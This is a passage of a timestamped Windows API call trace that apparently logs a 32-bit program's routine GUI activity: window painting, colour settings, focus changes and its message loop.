color=0x0) returned 0x0 [0284.105] GetSysColor (nIndex=15) returned 0xf0f0f0 [0284.105] SetBkColor (hdc=0x230107d7, color=0xf0f0f0) returned 0xffffff [0284.105] GetWindowThreadProcessId (in: hWnd=0x10340, lpdwProcessId=0x18eb6c | out: lpdwProcessId=0x18eb6c) returned 0x8cc [0284.105] GetCurrentProcessId () returned 0x8d0 [0284.105] GetPropA (hWnd=0x10340, lpString=0xc167) returned 0x2c86b08 [0284.105] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xbc4e, wParam=0x10340, lParam=0x18ee54) returned 0x0 [0284.105] GetWindowThreadProcessId (in: hWnd=0x10340, lpdwProcessId=0x18eb6c | out: lpdwProcessId=0x18eb6c) returned 0x8cc [0284.106] GetCurrentProcessId () returned 0x8d0 [0284.106] GetPropA (hWnd=0x10340, lpString=0xc167) returned 0x2c86b08 [0284.106] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xbc4e, wParam=0x10340, lParam=0x18ee54) returned 0x0 [0284.106] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x7 [0284.106] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xd, wParam=0x8, lParam=0x18dd28) returned 0x7 [0284.106] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xd, wParam=0x10, lParam=0x18dd00) returned 0x7 [0284.106] IsIconic (hWnd=0xc0060) returned 0 [0284.106] IsIconic (hWnd=0xc0060) returned 0 [0284.106] GetClientRect (in: hWnd=0xc0060, lpRect=0x18ed44 | out: lpRect=0x18ed44) returned 1 [0284.107] FillRect (hDC=0x3e01069e, lprc=0x18ed44, hbr=0xe100186) returned 1 [0284.107] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x318, wParam=0x3e01069e, lParam=0x4) returned 0x0 [0284.107] SendMessageA (hWnd=0x10340, Msg=0xbd35, wParam=0x3e01069e, lParam=0x10340) returned 0xe100186 [0284.107] GetSysColor (nIndex=8) returned 0x0 [0284.107] SetTextColor (hdc=0x3e01069e, color=0x0) returned 0x0 [0284.107] GetSysColor (nIndex=15) returned 0xf0f0f0 [0284.107] SetBkColor (hdc=0x3e01069e, color=0xf0f0f0) returned 0xffffff [0284.107] GetWindowThreadProcessId (in: hWnd=0x10340, lpdwProcessId=0x18eb6c | out: lpdwProcessId=0x18eb6c) returned 0x8cc [0284.107] GetCurrentProcessId () returned 0x8d0 [0284.107] GetPropA (hWnd=0x10340, lpString=0xc167) returned 0x2c86b08 [0284.107] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xbc4e, wParam=0x10340, lParam=0x18ee54) returned 0x0 [0284.108] GetWindowThreadProcessId (in: hWnd=0x10340, lpdwProcessId=0x18eb6c | out: lpdwProcessId=0x18eb6c) returned 0x8cc [0284.108] GetCurrentProcessId () returned 0x8d0 [0284.108] GetPropA (hWnd=0x10340, lpString=0xc167) returned 0x2c86b08 [0284.108] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xbc4e, wParam=0x10340, lParam=0x18ee54) returned 0x0 [0284.108] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x7 [0284.108] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xd, wParam=0x8, lParam=0x18dd28) returned 0x7 [0284.108] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xd, wParam=0x10, lParam=0x18dd00) returned 0x7 [0284.117] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x20, wParam=0xc0060, lParam=0x200fffe) returned 0x0 [0284.155] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x1035c, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x1 [0284.155] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x1035c, Msg=0x85, wParam=0x590401c5, lParam=0x0) returned 0x1 [0284.155] SendMessageA (hWnd=0x1035c, Msg=0xbd33, wParam=0x2a010b57, lParam=0x1035c) returned 0x2f100178 [0284.155] GetSysColor (nIndex=8) returned 0x0 [0284.155] SetTextColor (hdc=0x2a010b57, color=0x0) returned 0x0 [0284.155] GetSysColor (nIndex=5) returned 0xffffff [0284.155] SetBkColor (hdc=0x2a010b57, color=0xffffff) returned 0xffffff [0284.171] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0284.206] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x20, wParam=0xc0060, lParam=0x200fffe) returned 0x0 [0284.216] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x20, wParam=0xc0060, lParam=0x200fffe) returned 0x0 [0284.217] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x1035c, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x1 [0284.218] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x1035c, Msg=0x85, wParam=0x3f040b94, lParam=0x0) returned 0x1 [0284.218] SendMessageA (hWnd=0x1035c, Msg=0xbd33, wParam=0x1b0106ca, lParam=0x1035c) returned 0x2f100178 [0284.218] GetSysColor (nIndex=8) returned 0x0 [0284.218] SetTextColor (hdc=0x1b0106ca, color=0x0) returned 0x0 [0284.218] GetSysColor (nIndex=5) returned 0xffffff [0284.218] SetBkColor (hdc=0x1b0106ca, color=0xffffff) returned 0xffffff [0284.228] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x20, wParam=0xc0060, lParam=0x200fffe) returned 0x0 [0284.234] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0284.245] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x20, wParam=0xc0060, lParam=0x200fffe) returned 0x0 [0284.257] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x20, wParam=0xc0060, lParam=0x200fffe) returned 0x0 [0284.273] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x20, wParam=0xc0060, lParam=0x200fffe) returned 0x0 [0284.277] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x1035c, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x1 [0284.277] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x1035c, Msg=0x85, wParam=0x4d040b8d, lParam=0x0) returned 0x1 [0284.277] SendMessageA (hWnd=0x1035c, Msg=0xbd33, wParam=0x1f01019b, lParam=0x1035c) returned 0x2f100178 [0284.277] GetSysColor (nIndex=8) returned 0x0 [0284.277] SetTextColor (hdc=0x1f01019b, color=0x0) returned 0x0 [0284.277] GetSysColor (nIndex=5) returned 0xffffff [0284.277] SetBkColor (hdc=0x1f01019b, color=0xffffff) returned 0xffffff [0284.292] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0284.342] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x1035c, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x1 [0284.342] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x1035c, Msg=0x85, wParam=0x610401c5, lParam=0x0) returned 0x1 [0284.342] SendMessageA (hWnd=0x1035c, Msg=0xbd33, wParam=0x1f01019b, lParam=0x1035c) returned 0x2f100178 [0284.342] GetSysColor (nIndex=8) returned 0x0 [0284.342] SetTextColor (hdc=0x1f01019b, color=0x0) returned 0x0 [0284.342] GetSysColor (nIndex=5) returned 0xffffff [0284.342] SetBkColor (hdc=0x1f01019b, color=0xffffff) returned 0xffffff [0284.354] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0284.421] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x1035c, Msg=0x85, wParam=0x46040b6d, lParam=0x0) returned 0x1 [0284.422] SendMessageA (hWnd=0x1035c, Msg=0xbd33, wParam=0x1b0106ca, lParam=0x1035c) returned 0x2f100178 [0284.422] GetSysColor (nIndex=8) returned 0x0 [0284.422] SetTextColor (hdc=0x1b0106ca, color=0x0) returned 0x0 [0284.422] GetSysColor (nIndex=5) returned 0xffffff [0284.422] SetBkColor (hdc=0x1b0106ca, color=0xffffff) returned 0xffffff [0284.424] GetClientRect (in: hWnd=0x1035a, lpRect=0x18e9bc | out: lpRect=0x18e9bc) returned 1 [0284.424] FillRect (hDC=0x3701018c, lprc=0x18e9bc, hbr=0xe100186) returned 1 [0284.425] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x318, wParam=0x3701018c, lParam=0x4) returned 0x0 [0284.425] GetClientRect (in: hWnd=0x1035c, lpRect=0x18ee54 | out: lpRect=0x18ee54) returned 1 [0284.426] FillRect (hDC=0x1b0106ca, lprc=0x18ee54, hbr=0x2f100178) returned 1 [0284.428] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x46, wParam=0x0, lParam=0x18f044) returned 0x0 [0284.429] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x80042, Msg=0x46, wParam=0x0, lParam=0x18f044) returned 0x0 [0284.429] NtdllDefWindowProc_A (hWnd=0x2024a, Msg=0x46, wParam=0x0, lParam=0x18f044) returned 0x0 [0284.429] NtdllDefWindowProc_A (hWnd=0x2024a, Msg=0x86, wParam=0x1, lParam=0x40368) returned 0x1 [0284.430] NtdllDefWindowProc_A (hWnd=0x2024a, Msg=0x6, wParam=0x1, lParam=0x40368) returned 0x0 [0284.433] NtdllDefWindowProc_A (hWnd=0x2024a, Msg=0x281, wParam=0x1, lParam=0xc000000f) returned 0x0 [0284.433] NtdllDefWindowProc_A (hWnd=0x2024a, Msg=0x282, wParam=0x2, lParam=0x0) returned 0x0 [0284.433] PostMessageA (hWnd=0x2024a, Msg=0xb01a, wParam=0x0, lParam=0x0) returned 1 [0284.433] NtdllDefWindowProc_A (hWnd=0x2024a, Msg=0x7, wParam=0x40368, lParam=0x0) returned 0x0 [0284.435] IsWindow (hWnd=0x2024a) returned 1 [0284.435] EnableWindow (hWnd=0x2024a, bEnable=1) returned 1 [0284.435] NtdllDefWindowProc_A (hWnd=0x2024a, Msg=0xa, wParam=0x1, lParam=0x0) returned 0x0 [0284.435] IsWindow (hWnd=0xc0060) returned 1 [0284.435] EnableWindow (hWnd=0xc0060, bEnable=1) returned 1 [0284.435] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0xa, wParam=0x1, lParam=0x0) returned 0x0 [0284.435] SetActiveWindow (hWnd=0xc0060) returned 0x2024a [0284.435] NtdllDefWindowProc_A (hWnd=0x2024a, Msg=0x86, wParam=0x0, lParam=0xc0060) returned 0x1 [0284.436] NtdllDefWindowProc_A (hWnd=0x2024a, Msg=0x6, wParam=0x0, lParam=0xc0060) returned 0x0 [0284.437] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x46, wParam=0x0, lParam=0x18f7e8) returned 0x0 [0284.437] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x80042, Msg=0x46, wParam=0x0, lParam=0x18f7e8) returned 0x0 [0284.437] NtdllDefWindowProc_A (hWnd=0x2024a, Msg=0x46, wParam=0x0, lParam=0x18f7e8) returned 0x0 [0284.438] IsIconic (hWnd=0xc0060) returned 0 [0284.438] GetWindowRect (in: hWnd=0xc0060, lpRect=0x18f59c | out: lpRect=0x18f59c) returned 1 [0284.438] GetWindowLongA (hWnd=0xc0060, nIndex=-16) returned 382337024 [0284.438] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x47, wParam=0x0, lParam=0x18f7e8) returned 0x0 [0284.439] IsIconic (hWnd=0x80042) returned 0 [0284.439] GetWindowRect (in: hWnd=0x80042, lpRect=0x18f59c | out: lpRect=0x18f59c) returned 1 [0284.439] GetWindowLongA (hWnd=0x80042, nIndex=-16) returned 114229248 [0284.439] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x80042, Msg=0x47, wParam=0x0, lParam=0x18f7e8) returned 0x0 [0284.441] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x86, wParam=0x1, lParam=0x2024a) returned 0x1 [0284.442] SetFocus (hWnd=0x10340) returned 0x2024a [0284.442] NtdllDefWindowProc_A (hWnd=0x2024a, Msg=0x8, wParam=0x10340, lParam=0x0) returned 0x0 [0284.442] NtdllDefWindowProc_A (hWnd=0x2024a, Msg=0x281, wParam=0x0, lParam=0xc000000f) returned 0x0 [0284.443] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x281, wParam=0x1, lParam=0xc000000f) returned 0x0 [0284.443] NtdllDefWindowProc_A (hWnd=0x2024a, Msg=0x282, wParam=0x1, lParam=0x0) returned 0x0 [0284.443] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x282, wParam=0x2, lParam=0x0) returned 0x0 [0284.443] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x7, wParam=0x2024a, lParam=0x0) returned 0x0 [0284.443] GetFocus () returned 0x10340 [0284.443] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xb029, wParam=0x0, lParam=0x0) returned 0x0 [0284.449] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x1035c, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0284.449] SetFocus (hWnd=0x1035c) returned 0x10340 [0284.449] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x8, wParam=0x1035c, lParam=0x0) returned 0x0 [0284.450] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x281, wParam=0x0, lParam=0xc000000f) returned 0x0 [0284.450] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x1035c, Msg=0x281, wParam=0x1, lParam=0xc000000f) returned 0x0 [0284.450] SendMessageA (hWnd=0x10340, Msg=0xb01b, wParam=0x0, lParam=0x0) returned 0x0 [0284.450] SendMessageA (hWnd=0x60050, Msg=0xb01a, wParam=0x0, lParam=0x0) returned 0x0 [0284.450] SendMessageA (hWnd=0xb0168, Msg=0xb01a, wParam=0x0, lParam=0x0) returned 0x0 [0284.450] SendMessageA (hWnd=0x40338, Msg=0xb01a, wParam=0x0, lParam=0x0) returned 0x0 [0284.450] SendMessageA (hWnd=0x1035a, Msg=0xb01a, wParam=0x0, lParam=0x0) returned 0x0 [0284.450] SendMessageA (hWnd=0x1035c, Msg=0xb01a, wParam=0x0, lParam=0x0) returned 0x0 [0284.450] GetWindowLongA (hWnd=0x1035c, nIndex=-16) returned 1409351904 [0284.450] SendMessageA (hWnd=0x1035c, Msg=0xb1, wParam=0x0, lParam=0xffffffff) returned 0x1 [0284.451] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x1035c, Msg=0xb1, wParam=0x0, lParam=0xffffffff) returned 0x1 [0284.451] GetClientRect (in: hWnd=0x1035c, lpRect=0x18f684 | out: lpRect=0x18f684) returned 1 [0284.451] ClientToScreen (in: hWnd=0x1035c, lpPoint=0x18f66c | out: lpPoint=0x18f66c) returned 1 [0284.451] ClientToScreen (in: hWnd=0xc0060, lpPoint=0x18f66c | out: lpPoint=0x18f66c) returned 1 [0284.451] ClientToScreen (in: hWnd=0x1035c, lpPoint=0x18f66c | out: lpPoint=0x18f66c) returned 1 [0284.451] ClientToScreen (in: hWnd=0xc0060, lpPoint=0x18f66c | out: lpPoint=0x18f66c) returned 1 [0284.451] IsIconic (hWnd=0xc0060) returned 0 [0284.451] GetClientRect (in: hWnd=0xc0060, lpRect=0x18f66c | out: lpRect=0x18f66c) returned 1 [0284.451] IsIconic (hWnd=0xc0060) returned 0 [0284.451] GetClientRect (in: hWnd=0xc0060, lpRect=0x18f66c | out: lpRect=0x18f66c) returned 1 [0284.451] GetWindowLongA (hWnd=0x1033e, nIndex=-16) returned 1409351680 [0284.451] GetWindowLongA (hWnd=0x10340, nIndex=-16) returned 1409351681 [0284.451] GetWindowLongA (hWnd=0x10358, nIndex=-16) returned 1409351680 [0284.451] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x1035c, Msg=0x7, wParam=0x10340, lParam=0x0) returned 0x1 [0284.451] SendMessageA (hWnd=0x1035c, Msg=0xbd33, wParam=0x2a010b57, lParam=0x1035c) returned 0x2f100178 [0284.452] GetSysColor (nIndex=8) returned 0x0 [0284.452] SetTextColor (hdc=0x2a010b57, color=0x0) returned 0x0 [0284.452] GetSysColor (nIndex=5) returned 0xffffff [0284.452] SetBkColor (hdc=0x2a010b57, color=0xffffff) returned 0xffffff [0284.452] GetWindowThreadProcessId (in: hWnd=0x1035c, lpdwProcessId=0x18f304 | out: lpdwProcessId=0x18f304) returned 0x8cc [0284.452] GetCurrentProcessId () returned 0x8d0 [0284.452] GetPropA (hWnd=0x1035c, lpString=0xc167) returned 0x2c746a0 [0284.452] GetFocus () returned 0x1035c [0284.452] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x1035c, Msg=0xb029, wParam=0x0, lParam=0x0) returned 0x0 [0284.452] GetKeyState (nVirtKey=18) returned 1 [0284.452] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0284.452] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0284.452] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0284.452] IsIconic (hWnd=0x2024a) returned 0 [0284.452] GetFocus () returned 0x1035c [0284.452] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0284.453] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x84, wParam=0x0, lParam=0x1fa0371) returned 0x1 [0284.453] GetCursorPos (in: lpPoint=0x18fca4 | out: lpPoint=0x18fca4*(x=881, y=506)) returned 1 [0284.453] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fc8c | out: lpPoint=0x18fc8c) returned 1 [0284.453] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x20, wParam=0x1035a, lParam=0x2000001) returned 0x0 [0284.453] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x40338, Msg=0x20, wParam=0x1035a, lParam=0x2000001) returned 0x0 [0284.453] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xb0168, Msg=0x20, wParam=0x1035a, lParam=0x2000001) returned 0x0 [0284.453] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x60050, Msg=0x20, wParam=0x1035a, lParam=0x2000001) returned 0x0 [0284.453] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x20, wParam=0x1035a, lParam=0x2000001) returned 0x0 [0284.453] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0284.453] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0284.453] GetCapture () returned 0x0 [0284.453] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fd48 | out: lpPoint=0x18fd48) returned 1 [0284.453] WindowFromPoint (Point=0x371) returned 0x1035a [0284.454] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x84, wParam=0x0, lParam=0x1fa0371) returned 0x1 [0284.454] GetWindowThreadProcessId (in: hWnd=0x1035a, lpdwProcessId=0x18fd28 | out: lpdwProcessId=0x18fd28) returned 0x8cc [0284.454] GetCurrentProcessId () returned 0x8d0 [0284.454] GetPropA (hWnd=0x1035a, lpString=0xc167) returned 0x2c74598 [0284.454] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fd2c | out: lpPoint=0x18fd2c) returned 1 [0284.454] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x200, wParam=0x0, lParam=0xad0172) returned 0x0 [0284.454] GetKeyState (nVirtKey=18) returned 1 [0284.454] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0284.454] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0284.454] DispatchMessageA (lpMsg=0x18ff1c) returned 0x1 [0284.454] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x1035c, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x1 [0284.454] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x1035c, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x1 [0284.454] SendMessageA (hWnd=0x1035c, Msg=0xbd33, wParam=0x1f01019b, lParam=0x1035c) returned 0x2f100178 [0284.454] GetSysColor (nIndex=8) returned 0x0 [0284.454] SetTextColor (hdc=0x1f01019b, color=0x0) returned 0x0 [0284.454] GetSysColor (nIndex=5) returned 0xffffff [0284.454] SetBkColor (hdc=0x1f01019b, color=0xffffff) returned 0xffffff [0284.455] GetClientRect (in: hWnd=0x1035a, lpRect=0x18f41c | out: lpRect=0x18f41c) returned 1 [0284.455] FillRect (hDC=0xc010b6a, lprc=0x18f41c, hbr=0xe100186) returned 1 [0284.455] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x318, wParam=0xc010b6a, lParam=0x4) returned 0x0 [0284.455] GetClientRect (in: hWnd=0x1035a, lpRect=0x18f41c | out: lpRect=0x18f41c) returned 1 [0284.455] FillRect (hDC=0x3801018c, lprc=0x18f41c, hbr=0xe100186) returned 1 [0284.456] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x318, wParam=0x3801018c, lParam=0x4) returned 0x0 [0284.457] GetClientRect (in: hWnd=0x1035c, lpRect=0x18f8b4 | out: lpRect=0x18f8b4) returned 1 [0284.457] FillRect (hDC=0x1f01019b, lprc=0x18f8b4, hbr=0x2f100178) returned 1 [0284.457] SendMessageA (hWnd=0x1035c, Msg=0xbd33, wParam=0x2b010ba3, lParam=0x1035c) returned 0x2f100178 [0284.457] GetSysColor (nIndex=8) returned 0x0 [0284.457] SetTextColor (hdc=0x2b010ba3, color=0x0) returned 0x0 [0284.457] GetSysColor (nIndex=5) returned 0xffffff [0284.457] SetBkColor (hdc=0x2b010ba3, color=0xffffff) returned 0xffffff [0284.458] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0284.458] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0284.458] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0284.458] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0284.458] IsIconic (hWnd=0xc0060) returned 0 [0284.458] IsIconic (hWnd=0xc0060) returned 0 [0284.458] GetClientRect (in: hWnd=0xc0060, lpRect=0x18f7a8 | out: lpRect=0x18f7a8) returned 1 [0284.458] FillRect (hDC=0x3e01069e, lprc=0x18f7a8, hbr=0xe100186) returned 1 [0284.458] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x318, wParam=0x3e01069e, lParam=0x4) returned 0x0 [0284.458] SendMessageA (hWnd=0x10340, Msg=0xbd35, wParam=0x3e01069e, lParam=0x10340) returned 0xe100186 [0284.458] GetSysColor (nIndex=8) returned 0x0 [0284.458] SetTextColor (hdc=0x3e01069e, color=0x0) returned 0x0 [0284.459] GetSysColor (nIndex=15) returned 0xf0f0f0 [0284.459] SetBkColor (hdc=0x3e01069e, color=0xf0f0f0) returned 0xf0f0f0 [0284.459] GetWindowThreadProcessId (in: hWnd=0x10340, lpdwProcessId=0x18f5d0 | out: lpdwProcessId=0x18f5d0) returned 0x8cc [0284.459] GetCurrentProcessId () returned 0x8d0 [0284.459] GetPropA (hWnd=0x10340, lpString=0xc167) returned 0x2c86b08 [0284.459] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xbc4e, wParam=0x10340, lParam=0x18f8b8) returned 0x0 [0284.459] GetWindowThreadProcessId (in: hWnd=0x10340, lpdwProcessId=0x18f5d0 | out: lpdwProcessId=0x18f5d0) returned 0x8cc [0284.459] GetCurrentProcessId () returned 0x8d0 [0284.459] GetPropA (hWnd=0x10340, lpString=0xc167) returned 0x2c86b08 [0284.459] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xbc4e, wParam=0x10340, lParam=0x18f8b8) returned 0x0 [0284.459] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x7 [0284.459] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xd, wParam=0x8, lParam=0x18e78c) returned 0x7 [0284.460] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xd, wParam=0x10, lParam=0x18e764) returned 0x7 [0284.460] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0284.460] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=881, y=506)) returned 1 [0284.460] WindowFromPoint (Point=0x371) returned 0x1035a [0284.460] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x84, wParam=0x0, lParam=0x1fa0371) returned 0x1 [0284.460] GetWindowThreadProcessId (in: hWnd=0x1035a, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0284.460] GetCurrentProcessId () returned 0x8d0 [0284.461] GetPropA (hWnd=0x1035a, lpString=0xc167) returned 0x2c74598 [0284.461] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0284.461] GetCapture () returned 0x0 [0284.461] WaitMessage () returned 1 [0284.535] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0284.535] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0284.535] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0284.535] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0284.535] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0284.535] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0284.535] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0284.536] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x1035c, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x1 [0284.536] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x1035c, Msg=0x85, wParam=0x56040ba4, lParam=0x0) returned 0x1 [0284.536] SendMessageA (hWnd=0x1035c, Msg=0xbd33, wParam=0x2a010b57, lParam=0x1035c) returned 0x2f100178 [0284.536] GetSysColor (nIndex=8) returned 0x0 [0284.536] SetTextColor (hdc=0x2a010b57, color=0x0) returned 0x0 [0284.536] GetSysColor (nIndex=5) returned 0xffffff [0284.536] SetBkColor (hdc=0x2a010b57, color=0xffffff) returned 0xffffff [0284.537] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0284.537] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=881, y=506)) returned 1 [0284.537] WindowFromPoint (Point=0x372) returned 0x1035a [0284.537] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x84, wParam=0x0, lParam=0x1fa0372) returned 0x1 [0284.538] GetWindowThreadProcessId (in: hWnd=0x1035a, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0284.538] GetCurrentProcessId () returned 0x8d0 [0284.538] GetPropA (hWnd=0x1035a, lpString=0xc167) returned 0x2c74598 [0284.538] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0284.538] GetCapture () returned 0x0 [0284.538] WaitMessage () returned 1 [0284.599] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0284.599] TranslateMessage 